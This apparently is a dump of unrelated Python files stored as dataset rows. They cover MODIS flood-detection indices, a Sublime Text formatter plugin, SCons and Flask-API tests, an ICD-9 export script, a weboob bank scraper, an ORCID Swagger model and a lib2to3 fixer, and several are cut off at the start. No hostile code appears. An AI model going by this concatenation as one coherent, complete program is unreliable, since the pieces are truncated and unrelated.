b['LSWI'].subtract(b['NDVI']).gte(0.05).Or(b['LSWI'].subtract(b['EVI']).gte(0.05)).select(['sur_refl_b02'], ['b1']); #============================================================== def get_diff(b): '''Just the internals of the difference method''' return b['b2'].subtract(b['b1']).select(['sur_refl_b02'], ['b1']) def diff_learned(domain, b): '''modis_diff but with the threshold calculation included (training image required)''' if domain.unflooded_domain == None: print('No unflooded training domain provided.') return None unflooded_b = modis_utilities.compute_modis_indices(domain.unflooded_domain) water_mask = modis_utilities.get_permanent_water_mask() threshold = modis_utilities.compute_binary_threshold(get_diff(unflooded_b), water_mask, domain.bounds) return modis_diff(domain, b, threshold) def modis_diff(domain, b, threshold=None): '''Compute (b2-b1) < threshold, a simple water detection index. This method may be all that is needed in cases where the threshold can be hand tuned. ''' if threshold == None: # If no threshold value passed in, load it based on the data set. threshold = float(domain.algorithm_params['modis_diff_threshold']) return get_diff(b).lte(threshold) #============================================================== def get_dartmouth(b): A = 500 B = 2500 return b['b2'].add(A).divide(b['b1'].add(B)).select(['sur_refl_b02'], ['b1']) def dart_learned(domain, b): '''The dartmouth method but with threshold calculation included (training image required)''' if domain.unflooded_domain == None: print('No unflooded training domain provided.') return None unflooded_b = modis_utilities.compute_modis_indices(domain.unflooded_domain) water_mask = modis_utilities.get_permanent_water_mask() threshold = modis_utilities.compute_binary_threshold(get_dartmouth(unflooded_b), water_mask, domain.bounds) return dartmouth(domain, b, threshold) def dartmouth(domain, b, threshold=None): '''A flood detection method from the Dartmouth Flood Observatory. This method is a refinement of the simple b2-b1 detection method. ''' if threshold == None: threshold = float(domain.algorithm_params['dartmouth_threshold']) return get_dartmouth(b).lte(threshold) #============================================================== def get_mod_ndwi(b): return b['b6'].subtract(b['b4']).divide(b['b4'].add(b['b6'])).select(['sur_refl_b06'], ['b1']) def mod_ndwi_learned(domain, b): if domain.unflooded_domain == None: print('No unflooded training domain provided.') return None unflooded_b = modis_utilities.compute_modis_indices(domain.unflooded_domain) water_mask = modis_utilities.get_permanent_water_mask() threshold = modis_utilities.compute_binary_threshold(get_mod_ndwi(unflooded_b), water_mask, domain.bounds) return mod_ndwi(domain, b, threshold) def mod_ndwi(domain, b, threshold=None): if threshold == None: threshold = float(domain.algorithm_params['mod_ndwi_threshold']) return get_mod_ndwi(b).lte(threshold) #============================================================== def get_fai(b): '''Just the internals of the FAI method''' return b['b2'].subtract(b['b1'].add(b['b5'].subtract(b['b1']).multiply((859.0 - 645) / (1240 - 645)))).select(['sur_refl_b02'], ['b1']) def fai_learned(domain, b): if domain.unflooded_domain == None: print('No unflooded training domain provided.') return None unflooded_b = modis_utilities.compute_modis_indices(domain.unflooded_domain) water_mask = modis_utilities.get_permanent_water_mask() threshold = modis_utilities.compute_binary_threshold(get_fai(unflooded_b), water_mask, domain.bounds) return fai(domain, b, threshold) def fai(domain, b, threshold=None): ''' Floating Algae Index. Method from paper: Feng, Hu, Chen, Cai, Tian, Gan, Assessment of inundation changes of Poyang Lake using MODIS observations between 2000 and 2010. Remote Sensing of Environment, 2012. ''' if threshold == None: threshold = float(domain.algorithm_params['fai_threshold']) return get_fai(b).lte(threshold) ",1 " http://longman.me # @license The MIT License (MIT) import os import sys import sublime import sublime_plugin st_version = 2 if sublime.version() == '' or int(sublime.version()) > 3000: st_version = 3 reloader_name = 'codeformatter.reloader' # ST3 loads each package as a module, so it needs an extra prefix if st_version == 3: reloader_name = 'CodeFormatter.' + reloader_name from imp import reload if reloader_name in sys.modules: reload(sys.modules[reloader_name]) try: # Python 3 from .codeformatter.formatter import Formatter except (ValueError): # Python 2 from codeformatter.formatter import Formatter # fix for ST2 cprint = globals()['__builtins__']['print'] debug_mode = False def plugin_loaded(): cprint('CodeFormatter: Plugin Initialized') # settings = sublime.load_settings('CodeFormatter.sublime-settings') # debug_mode = settings.get('codeformatter_debug', False) # if debug_mode: # from pprint import pprint # pprint(settings) # debug_write('Debug mode enabled') # debug_write('Platform ' + sublime.platform() + ' ' + sublime.arch()) # debug_write('Sublime Version ' + sublime.version()) # debug_write('Settings ' + pprint(settings)) if (sublime.platform() != 'windows'): import stat path = ( sublime.packages_path() + '/CodeFormatter/codeformatter/lib/phpbeautifier/fmt.phar' ) st = os.stat(path) os.chmod(path, st.st_mode | stat.S_IEXEC) if st_version == 2: plugin_loaded() class CodeFormatterCommand(sublime_plugin.TextCommand): def run(self, edit, syntax=None, saving=None): run_formatter(self.view, edit, syntax=syntax, saving=saving) class CodeFormatterOpenTabsCommand(sublime_plugin.TextCommand): def run(self, edit, syntax=None): window = sublime.active_window() for view in window.views(): run_formatter(view, edit, quiet=True) class CodeFormatterEventListener(sublime_plugin.EventListener): def on_pre_save(self, view): view.run_command('code_formatter', {'saving': True}) class CodeFormatterShowPhpTransformationsCommand(sublime_plugin.TextCommand): def run(self, edit, syntax=False): import subprocess import re platform = sublime.platform() settings = sublime.load_settings('CodeFormatter.sublime-settings') opts = settings.get('codeformatter_php_options') php_path = 'php' if ('php_path' in opts and opts['php_path']): php_path = opts['php_path'] php55_compat = False if ('php55_compat' in opts and opts['php55_compat']): php55_compat = opts['php55_compat'] cmd = [] cmd.append(str(php_path)) if php55_compat: cmd.append( '{}/CodeFormatter/codeformatter/lib/phpbeautifier/fmt.phar'.format( sublime.packages_path())) else: cmd.append( '{}/CodeFormatter/codeformatter/lib/phpbeautifier/phpf.phar'.format( sublime.packages_path())) cmd.append('--list') #print(cmd) stderr = '' stdout = '' try: if (platform == 'windows'): startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW startupinfo.wShowWindow = subprocess.SW_HIDE p = subprocess.Popen( cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, startupinfo=startupinfo, shell=False, creationflags=subprocess.SW_HIDE) else: p = subprocess.Popen( cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = p.communicate() except Exception as e: stderr = str(e) if (not stderr and not stdout): stderr = 'Error while gethering list of php transformations' if len(stderr) == 0 and len(stdout) > 0: text = stdout.decode('utf-8') text = re.sub( 'Usage:.*?PASSNAME', 'Available PHP Tranformations:', text) window = self.view.window() pt = window.get_output_panel('paneltranformations') pt.set_read_only(False) pt.insert(edit, pt.size(), text) window.run_command( 'show_panel', {'panel': 'output.paneltranformations'}) else: show_error('Formatter error:\n' + stderr) def run_formatter(view, edit, *args, **kwargs): if view.is_scratch(): show_error('File is scratch') return # default parameters syntax = kwargs.get('syntax') saving = kwargs.get('saving', False) quiet = kwargs.get('quiet', False) formatter = Formatter(view, syntax) if not formatter.exists(): if not quiet and not saving: show_error('Formatter for this file type ({}) not found.'.format( formatter.syntax)) return if (saving and not formatter.format_on_save_enabled()): return file_text = sublime.Region(0, view.size()) file_text_utf = view.substr(file_text).encode('utf-8') if (len(file_text_utf) == 0): return stdout, stderr = formatter.format(file_text_utf) if len(stderr) == 0 and len(stdout) > 0: view.replace(edit, file_text, stdout) elif not quiet: show_error('Format error:\n' + stderr) def console_write(text, prefix=False): if prefix: sys.stdout.write('CodeFormatter: ') sys.stdout.write(text + '\n') def debug_write(text, prefix=False): console_write(text, True) def show_error(text): sublime.error_message(u'CodeFormatter\n\n%s' % text) ",1 "ated documentation files (the # ""Software""), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, # distribute, sublicense, and/or sell copies of the Software, and to # permit persons to whom the Software is furnished to do so, subject to # the following conditions: # # The above copyright notice and this permission notice shall be included # in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY # KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE # WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE # LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION # OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # __revision__ = ""__FILE__ __REVISION__ __DATE__ __DEVELOPER__"" """""" Test setting the $P4COMSTR variable. """""" import os.path import TestSCons _python_ = TestSCons._python_ test = TestSCons.TestSCons() test.subdir('Perforce', ['Perforce', 'sub'], 'sub') sub_Perforce = os.path.join('sub', 'Perforce') sub_SConscript = os.path.join('sub', 'SConscript') sub_all = os.path.join('sub', 'all') sub_ddd_in = os.path.join('sub', 'ddd.in') sub_ddd_out = os.path.join('sub', 'ddd.out') sub_eee_in = os.path.join('sub', 'eee.in') sub_eee_out = os.path.join('sub', 'eee.out') sub_fff_in = os.path.join('sub', 'fff.in') sub_fff_out = os.path.join('sub', 'fff.out') test.write('my-p4.py', """""" import shutil import sys for f in sys.argv[1:]: shutil.copy('Perforce/'+f, f) """""") test.write('SConstruct', """""" def cat(env, source, target): target = str(target[0]) source = map(str, source) f = open(target, ""wb"") for src in source: f.write(open(src, ""rb"").read()) f.close() env = Environment(TOOLS = ['default', 'Perforce'], BUILDERS={'Cat':Builder(action=cat)}, P4COM='%(_python_)s my-p4.py $TARGET', P4COMSTR='Checking out $TARGET from our fake Perforce') env.Cat('aaa.out', 'aaa.in') env.Cat('bbb.out', 'bbb.in') env.Cat('ccc.out', 'ccc.in') env.Cat('all', ['aaa.out', 'bbb.out', 'ccc.out']) env.SourceCode('.', env.Perforce()) SConscript('sub/SConscript', ""env"") """""" % locals()) test.write(['Perforce', 'sub', 'SConscript'], """"""\ Import(""env"") env.Cat('ddd.out', 'ddd.in') env.Cat('eee.out', 'eee.in') env.Cat('fff.out', 'fff.in') env.Cat('all', ['ddd.out', 'eee.out', 'fff.out']) """""") test.write(['Perforce', 'aaa.in'], ""Perforce/aaa.in\n"") test.write('bbb.in', ""checked-out bbb.in\n"") test.write(['Perforce', 'ccc.in'], ""Perforce/ccc.in\n"") test.write(['Perforce', 'sub', 'ddd.in'], ""Perforce/sub/ddd.in\n"") test.write(['sub', 'eee.in'], ""checked-out sub/eee.in\n"") test.write(['Perforce', 'sub', 'fff.in'], ""Perforce/sub/fff.in\n"") test.run(arguments = '.', stdout = test.wrap_stdout(read_str = """"""\ Checking out %(sub_SConscript)s from our fake Perforce """""" % locals(), build_str = """"""\ Checking out aaa.in from our fake Perforce cat([""aaa.out""], [""aaa.in""]) cat([""bbb.out""], [""bbb.in""]) Checking out ccc.in from our fake Perforce cat([""ccc.out""], [""ccc.in""]) cat([""all""], [""aaa.out"", ""bbb.out"", ""ccc.out""]) Checking out %(sub_ddd_in)s from our fake Perforce cat([""%(sub_ddd_out)s""], [""%(sub_ddd_in)s""]) cat([""%(sub_eee_out)s""], [""%(sub_eee_in)s""]) Checking out %(sub_fff_in)s from our fake Perforce cat([""%(sub_fff_out)s""], [""%(sub_fff_in)s""]) cat([""%(sub_all)s""], [""%(sub_ddd_out)s"", ""%(sub_eee_out)s"", ""%(sub_fff_out)s""]) """""" % locals())) test.must_match('all', ""Perforce/aaa.in\nchecked-out bbb.in\nPerforce/ccc.in\n"") test.must_match(['sub', 'all'], ""Perforce/sub/ddd.in\nchecked-out sub/eee.in\nPerforce/sub/fff.in\n"") # test.pass_test() ",1 "from flask_api import exceptions, renderers, status, FlaskAPI import json import unittest app = FlaskAPI(__name__) app.config['TESTING'] = True class JSONVersion1(renderers.JSONRenderer): media_type = 'application/json; api-version=""1.0""' class JSONVersion2(renderers.JSONRenderer): media_type = 'application/json; api-version=""2.0""' @app.route('/set_status_and_headers/') def set_status_and_headers(): headers = {'Location': 'http://example.com/456'} return {'example': 'content'}, status.HTTP_201_CREATED, headers @app.route('/set_headers/') def set_headers(): headers = {'Location': 'http://example.com/456'} return {'example': 'content'}, headers @app.route('/make_response_view/') def make_response_view(): response = make_response({'example': 'content'}) response.headers['Location'] = 'http://example.com/456' return response @app.route('/api_exception/') def api_exception(): raise exceptions.PermissionDenied() @app.route('/abort_view/') def abort_view(): abort(status.HTTP_403_FORBIDDEN) @app.route('/options/') def options_view(): return {} @app.route('/accepted_media_type/') @set_renderers([JSONVersion2, JSONVersion1]) def accepted_media_type(): return {'accepted_media_type': str(request.accepted_media_type)} class AppTests(unittest.TestCase): def test_set_status_and_headers(self): with app.test_client() as client: response = client.get('/set_status_and_headers/') self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual(response.headers['Location'], 'http://example.com/456') self.assertEqual(response.content_type, 'application/json') expected = '{""example"": ""content""}' self.assertEqual(response.get_data().decode('utf8'), expected) def test_set_headers(self): with app.test_client() as client: response = client.get('/set_headers/') self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.headers['Location'], 'http://example.com/456') self.assertEqual(response.content_type, 'application/json') expected = '{""example"": ""content""}' self.assertEqual(response.get_data().decode('utf8'), expected) def test_make_response(self): with app.test_client() as client: response = client.get('/make_response_view/') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.headers['Location'], 'http://example.com/456') self.assertEqual(response.content_type, 'application/json') expected = '{""example"": ""content""}' self.assertEqual(response.get_data().decode('utf8'), expected) def test_api_exception(self): with app.test_client() as client: response = client.get('/api_exception/') self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) self.assertEqual(response.content_type, 'application/json') expected = '{""message"": ""You do not have permission to perform this action.""}' self.assertEqual(response.get_data().decode('utf8'), expected) def test_abort_view(self): with app.test_client() as client: response = client.get('/abort_view/') self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_options_view(self): with app.test_client() as client: response = client.options('/options/') # Errors if `response.response` is `None` response.get_data() def test_accepted_media_type_property(self): with app.test_client() as client: # Explicitly request the ""api-version 1.0"" renderer. headers = {'Accept': 'application/json; api-version=""1.0""'} response = client.get('/accepted_media_type/', headers=headers) data = json.loads(response.get_data().decode('utf8')) expected = {'accepted_media_type': 'application/json; api-version=""1.0""'} self.assertEqual(data, expected) # Request the default renderer, which is ""api-version 2.0"". headers = {'Accept': '*/*'} response = client.get('/accepted_media_type/', headers=headers) data = json.loads(response.get_data().decode('utf8')) expected = {'accepted_media_type': 'application/json; api-version=""2.0""'} self.assertEqual(data, expected) ",1 "ntable, txt)) return txt def traverse(t, outfile): print>>outfile, sanitize(t.code+'\t'+t.description) for c in t.children: traverse(c, outfile) def getEdges(t, outfile): for c in t.children: print >>outfile, sanitize(t.code+'\t'+c.code) getEdges(c, outfile) print 'cloning github repository sirrice/icd9.git' subprocess.call('git clone https://github.com/sirrice/icd9.git', shell=1) sys.path.append('icd9') from icd9 import ICD9 tree = ICD9('icd9/codes.json') toplevelnodes = tree.children print 'creating name file' outfile = file('code.names', 'w') traverse(tree, outfile) outfile.close() print 'creating edges file' outfile = file('code.edges', 'w') getEdges(tree, outfile) outfile.close() print 'cleaning up' #os.chdir('..') #subprocess.call('rm -rf icd9', shell=1) ",1 "edistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This weboob module is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with this weboob module. If not, see . from __future__ import unicode_literals import re from weboob.exceptions import BrowserIncorrectPassword from weboob.browser.pages import HTMLPage, JsonPage, pagination, LoggedPage from weboob.browser.elements import ListElement, ItemElement, TableElement, method from weboob.browser.filters.standard import CleanText, CleanDecimal, DateGuesser, Env, Field, Filter, Regexp, Currency, Date from weboob.browser.filters.html import Link, Attr, TableCell from weboob.capabilities.bank import Account, Investment from weboob.capabilities.base import NotAvailable from weboob.tools.capabilities.bank.transactions import FrenchTransaction from weboob.tools.compat import urljoin from weboob.tools.capabilities.bank.investments import is_isin_valid __all__ = ['LoginPage'] class UselessPage(HTMLPage): pass class PasswordCreationPage(HTMLPage): def get_message(self): xpath = '//div[@class=""bienvenueMdp""]/following-sibling::div' return '%s%s' % (CleanText(xpath + '/strong')(self.doc), CleanText(xpath, children=False)(self.doc)) class ErrorPage(HTMLPage): pass class SubscriptionPage(LoggedPage, JsonPage): pass class LoginPage(HTMLPage): pass class CMSOPage(HTMLPage): @property def logged(self): if len(self.doc.xpath('//b[text()=""Session interrompue""]')) > 0: return False return True class AccountsPage(CMSOPage): TYPES = {'COMPTE CHEQUES': Account.TYPE_CHECKING, 'COMPTE TITRES': Account.TYPE_MARKET, ""ACTIV'EPARGNE"": Account.TYPE_SAVINGS, ""TRESO'VIV"": Account.TYPE_SAVINGS, } @method class iter_accounts(ListElement): item_xpath = '//div[has-class(""groupe-comptes"")]//li' class item(ItemElement): klass = Account class Type(Filter): def filter(self, label): for pattern, actype in AccountsPage.TYPES.items(): if label.startswith(pattern): return actype return Account.TYPE_UNKNOWN obj__history_url = Link('.//a[1]') obj_id = CleanText('.//span[has-class(""numero-compte"")]') & Regexp(pattern=r'(\d{3,}[\w]+)', default='') obj_label = CleanText('.//span[has-class(""libelle"")][1]') obj_currency = Currency('//span[has-class(""montant"")]') obj_balance = CleanDecimal('.//span[has-class(""montant"")]', replace_dots=True) obj_type = Type(Field('label')) # Last numbers replaced with XX... or we have to send sms to get RIB. obj_iban = NotAvailable # some accounts may appear on multiple areas, but the area where they come from is indicated obj__owner = CleanText('(./preceding-sibling::tr[@class=""LnMnTiers""])[last()]') def validate(self, obj): if obj.id is None: obj.id = obj.label.replace(' ', '') return True def on_load(self): if self.doc.xpath('//p[contains(text(), ""incident technique"")]'): raise BrowserIncorrectPassword(""Vous n'avez aucun compte sur cet espace. "" \ ""Veuillez choisir un autre type de compte."") class InvestmentPage(CMSOPage): def has_error(self): return CleanText('//span[@id=""id_error_msg""]')(self.doc) @method class iter_accounts(ListElement): item_xpath = '//table[@class=""Tb"" and tr[1][@class=""LnTit""]]/tr[@class=""LnA"" or @class=""LnB""]' class item(ItemElement): klass = Account def obj_id(self): area_id = Regexp(CleanText('(./preceding-sibling::tr[@class=""LnMnTiers""][1])//span[@class=""CelMnTiersT1""]'), r'\((\d+)\)', default='')(self) acc_id = Regexp(CleanText('./td[1]'), r'(\d+)\s*(\d+)', r'\1\2')(self) if area_id: return '%s.%s' % (area_id, acc_id) return acc_id def obj__formdata(self): js = Attr('./td/a[1]', 'onclick', default=None)(self) if js is None: return args = re.search(r'\((.*)\)', js).group(1).split(',') form = args[0].strip().split('.')[1] idx = args[2].strip() idroot = args[4].strip().replace(""'"", """") return (form, idx, idroot) obj_url = Link('./td/a[1]', default=None) def go_account(self, form, idx, idroot): form = self.get_form(name=form) form['indiceCompte'] = idx form['idRacine'] = idroot form.submit() class CmsoTableElement(TableElement): head_xpath = '//table[has-class(""Tb"")]/tr[has-class(""LnTit"")]/td' item_xpath = '//table[has-class(""Tb"")]/tr[has-class(""LnA"") or has-class(""LnB"")]' class InvestmentAccountPage(CMSOPage): @method class iter_investments(CmsoTableElement): col_label = 'Valeur' col_code = 'Code' col_quantity = 'Qté' col_unitvalue = 'Cours' col_valuation = 'Valorisation' col_vdate = 'Date cours' class item(ItemElement): klass = Investment obj_label = CleanText(TableCell('label')) obj_quantity = CleanDecimal(TableCell('quantity'), replace_dots=True) obj_unitvalue = CleanDecimal(TableCell('unitvalue'), replace_dots=True) obj_valuation = CleanDecimal(TableCell('valuation'), replace_dots=True) obj_vdate = Date(CleanText(TableCell('vdate')), dayfirst=True, default=NotAvailable) def obj_code(self): if Field('label')(self) == ""LIQUIDITES"": return 'XX-liquidity' code = CleanText(TableCell('code'))(self) return code if is_isin_valid(code) else NotAvailable def obj_code_type(self): return Investment.CODE_TYPE_ISIN if is_isin_valid(Field('code')(self)) else NotAvailable class Transaction(FrenchTransaction): PATTERNS = [(re.compile(r'^RET DAB (?P
\d{2})/?(?P\d{2})(/?(?P\d{2}))? (?P.*)'), FrenchTransaction.TYPE_WITHDRAWAL), (re.compile(r'CARTE (?P
\d{2})/(?P\d{2}) (?P.*)'), FrenchTransaction.TYPE_CARD), (re.compile(r'^(?PVIR(EMEN)?T? (SEPA)?(RECU|FAVEUR)?)( /FRM)?(?P.*)'), FrenchTransaction.TYPE_TRANSFER), (re.compile(r'^PRLV (?P.*)( \d+)?$'), FrenchTransaction.TYPE_ORDER), (re.compile(r'^(CHQ|CHEQUE) .*$'), FrenchTransaction.TYPE_CHECK), (re.compile(r'^(AGIOS /|FRAIS) (?P.*)'), FrenchTransaction.TYPE_BANK), (re.compile(r'^(CONVENTION \d+ |F )?COTIS(ATION)? (?P.*)'), FrenchTransaction.TYPE_BANK), (re.compile(r'^REMISE (?P.*)'), FrenchTransaction.TYPE_DEPOSIT), (re.compile(r'^(?P.*)( \d+)? QUITTANCE .*'), FrenchTransaction.TYPE_ORDER), (re.compile(r'^.* LE (?P
\d{2})/(?P\d{2})/(?P\d{2})$'), FrenchTransaction.TYPE_UNKNOWN), (re.compile(r'^.* PAIEMENT (?P
\d{2})/(?P\d{2}) (?P.*)'), FrenchTransaction.TYPE_UNKNOWN), ] class CmsoTransactionElement(ItemElement): klass = Transaction def condition(self): return len(self.el) >= 5 and not self.el.get('id', '').startswith('libelleLong') class HistoryPage(CMSOPage): def get_date_range_list(self): return [d for d in self.doc.xpath('//select[@name=""date""]/option/@value') if d] @pagination @method class iter_history(ListElement): item_xpath = '//div[contains(@class, ""master-table"")]//ul/li' def next_page(self): pager = self.page.doc.xpath('//div[@class=""pager""]') if pager: # more than one page if only enough transactions assert len(pager) == 1 next_links = pager[0].xpath('./span/following-sibling::a[@class=""page""]') if next_links: url_next_page = Link('.')(next_links[0]) url_next_page = urljoin(self.page.url, url_next_page) return self.page.browser.build_request(url_next_page) class item(CmsoTransactionElement): def date(selector): return DateGuesser(Regexp(CleanText(selector), r'\w+ (\d{2}/\d{2})'), Env('date_guesser')) | Transaction.Date(selector) # CAUTION: this website write a 'Date valeur' inside a div with a class == 'c-ope' # and a 'Date opération' inside a div with a class == 'c-val' # so actually i assume 'c-val' class is the real operation date and 'c-ope' is value date obj_date = date('./div[contains(@class, ""c-val"")]') obj_vdate = date('./div[contains(@class, ""c-ope"")]') obj_raw = Transaction.Raw(Regexp(CleanText('./div[contains(@class, ""c-libelle-long"")]'), r'Libellé étendu (.+)')) obj_amount = Transaction.Amount('./div[contains(@class, ""c-credit"")]', './div[contains(@class, ""c-debit"")]') class UpdateTokenMixin(object): def on_load(self): if 'Authentication' in self.response.headers: self.browser.token = self.response.headers['Authentication'].split(' ')[-1] class SSODomiPage(JsonPage, UpdateTokenMixin): def get_sso_url(self): return self.doc['urlSSO'] class AuthCheckUser(HTMLPage): pass ",1 "qa: E501 OpenAPI spec version: Latest Generated by: https://github.com/swagger-api/swagger-codegen.git """""" import pprint import re # noqa: F401 import six from orcid_api_v3.models.subtitle_v30_rc2 import SubtitleV30Rc2 # noqa: F401,E501 from orcid_api_v3.models.title_v30_rc2 import TitleV30Rc2 # noqa: F401,E501 from orcid_api_v3.models.translated_title_v30_rc2 import TranslatedTitleV30Rc2 # noqa: F401,E501 class WorkTitleV30Rc2(object): """"""NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """""" """""" Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """""" swagger_types = { 'title': 'TitleV30Rc2', 'subtitle': 'SubtitleV30Rc2', 'translated_title': 'TranslatedTitleV30Rc2' } attribute_map = { 'title': 'title', 'subtitle': 'subtitle', 'translated_title': 'translated-title' } def __init__(self, title=None, subtitle=None, translated_title=None): # noqa: E501 """"""WorkTitleV30Rc2 - a model defined in Swagger"""""" # noqa: E501 self._title = None self._subtitle = None self._translated_title = None self.discriminator = None if title is not None: self.title = title if subtitle is not None: self.subtitle = subtitle if translated_title is not None: self.translated_title = translated_title @property def title(self): """"""Gets the title of this WorkTitleV30Rc2. # noqa: E501 :return: The title of this WorkTitleV30Rc2. # noqa: E501 :rtype: TitleV30Rc2 """""" return self._title @title.setter def title(self, title): """"""Sets the title of this WorkTitleV30Rc2. :param title: The title of this WorkTitleV30Rc2. # noqa: E501 :type: TitleV30Rc2 """""" self._title = title @property def subtitle(self): """"""Gets the subtitle of this WorkTitleV30Rc2. # noqa: E501 :return: The subtitle of this WorkTitleV30Rc2. # noqa: E501 :rtype: SubtitleV30Rc2 """""" return self._subtitle @subtitle.setter def subtitle(self, subtitle): """"""Sets the subtitle of this WorkTitleV30Rc2. :param subtitle: The subtitle of this WorkTitleV30Rc2. # noqa: E501 :type: SubtitleV30Rc2 """""" self._subtitle = subtitle @property def translated_title(self): """"""Gets the translated_title of this WorkTitleV30Rc2. # noqa: E501 :return: The translated_title of this WorkTitleV30Rc2. # noqa: E501 :rtype: TranslatedTitleV30Rc2 """""" return self._translated_title @translated_title.setter def translated_title(self, translated_title): """"""Sets the translated_title of this WorkTitleV30Rc2. :param translated_title: The translated_title of this WorkTitleV30Rc2. # noqa: E501 :type: TranslatedTitleV30Rc2 """""" self._translated_title = translated_title def to_dict(self): """"""Returns the model properties as a dict"""""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, ""to_dict"") else x, value )) elif hasattr(value, ""to_dict""): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], ""to_dict"") else item, value.items() )) else: result[attr] = value if issubclass(WorkTitleV30Rc2, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """"""Returns the string representation of the model"""""" return pprint.pformat(self.to_dict()) def __repr__(self): """"""For `print` and `pprint`"""""" return self.to_str() def __eq__(self, other): """"""Returns true if both objects are equal"""""" if not isinstance(other, WorkTitleV30Rc2): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """"""Returns true if both objects are not equal"""""" return not self == other ",1 "meters following the first STAR in the list. from lib2to3 import fixer_base from lib2to3.fixer_util import token, String, Newline, Comma, Name from libfuturize.fixer_util import indentation, suitify, DoubleStar _assign_template = u""%(name)s = %(kwargs)s['%(name)s']; del %(kwargs)s['%(name)s']"" _if_template = u""if '%(name)s' in %(kwargs)s: %(assign)s"" _else_template = u""else: %(name)s = %(default)s"" _kwargs_default_name = u""_3to2kwargs"" def gen_params(raw_params): u"""""" Generator that yields tuples of (name, default_value) for each parameter in the list If no default is given, then it is default_value is None (not Leaf(token.NAME, 'None')) """""" assert raw_params[0].type == token.STAR and len(raw_params) > 2 curr_idx = 2 # the first place a keyword-only parameter name can be is index 2 max_idx = len(raw_params) while curr_idx < max_idx: curr_item = raw_params[curr_idx] prev_item = curr_item.prev_sibling if curr_item.type != token.NAME: curr_idx += 1 continue if prev_item is not None and prev_item.type == token.DOUBLESTAR: break name = curr_item.value nxt = curr_item.next_sibling if nxt is not None and nxt.type == token.EQUAL: default_value = nxt.next_sibling curr_idx += 2 else: default_value = None yield (name, default_value) curr_idx += 1 def remove_params(raw_params, kwargs_default=_kwargs_default_name): u"""""" Removes all keyword-only args from the params list and a bare star, if any. Does not add the kwargs dict if needed. Returns True if more action is needed, False if not (more action is needed if no kwargs dict exists) """""" assert raw_params[0].type == token.STAR if raw_params[1].type == token.COMMA: raw_params[0].remove() raw_params[1].remove() kw_params = raw_params[2:] else: kw_params = raw_params[3:] for param in kw_params: if param.type != token.DOUBLESTAR: param.remove() else: return False else: return True def needs_fixing(raw_params, kwargs_default=_kwargs_default_name): u"""""" Returns string with the name of the kwargs dict if the params after the first star need fixing Otherwise returns empty string """""" found_kwargs = False needs_fix = False for t in raw_params[2:]: if t.type == token.COMMA: # Commas are irrelevant at this stage. continue elif t.type == token.NAME and not found_kwargs: # Keyword-only argument: definitely need to fix. needs_fix = True elif t.type == token.NAME and found_kwargs: # Return 'foobar' of **foobar, if needed. return t.value if needs_fix else u'' elif t.type == token.DOUBLESTAR: # Found either '*' from **foobar. found_kwargs = True else: # Never found **foobar. Return a synthetic name, if needed. return kwargs_default if needs_fix else u'' class FixKwargs(fixer_base.BaseFix): run_order = 7 # Run after function annotations are removed PATTERN = u""funcdef< 'def' NAME parameters< '(' arglist=typedargslist< params=any* > ')' > ':' suite=any >"" def transform(self, node, results): params_rawlist = results[u""params""] for i, item in enumerate(params_rawlist): if item.type == token.STAR: params_rawlist = params_rawlist[i:] break else: return # params is guaranteed to be a list starting with *. # if fixing is needed, there will be at least 3 items in this list: # [STAR, COMMA, NAME] is the minimum that we need to worry about. new_kwargs = needs_fixing(params_rawlist) # new_kwargs is the name of the kwargs dictionary. if not new_kwargs: return suitify(node) # At this point, params_rawlist is guaranteed to be a list # beginning with a star that includes at least one keyword-only param # e.g., [STAR, NAME, COMMA, NAME, COMMA, DOUBLESTAR, NAME] or # [STAR, COMMA, NAME], or [STAR, COMMA, NAME, COMMA, DOUBLESTAR, NAME] # Anatomy of a funcdef: ['def', 'name', parameters, ':', suite] # Anatomy of that suite: [NEWLINE, INDENT, first_stmt, all_other_stmts] # We need to insert our new stuff before the first_stmt and change the # first_stmt's prefix. suite = node.children[4] first_stmt = suite.children[2] ident = indentation(first_stmt) for name, default_value in gen_params(params_rawlist): if default_value is None: suite.insert_child(2, Newline()) suite.insert_child(2, String(_assign_template % {u'name': name, u'kwargs': new_kwargs}, prefix=ident)) else: suite.insert_child(2, Newline()) suite.insert_child(2, String(_else_template % {u'name': name, u'default': default_value}, prefix=ident)) suite.insert_child(2, Newline()) suite.insert_child(2, String( _if_template % {u'assign': _assign_template % {u'name': name, u'kwargs': new_kwargs}, u'name': name, u'kwargs': new_kwargs}, prefix=ident)) first_stmt.prefix = ident suite.children[2].prefix = u"""" 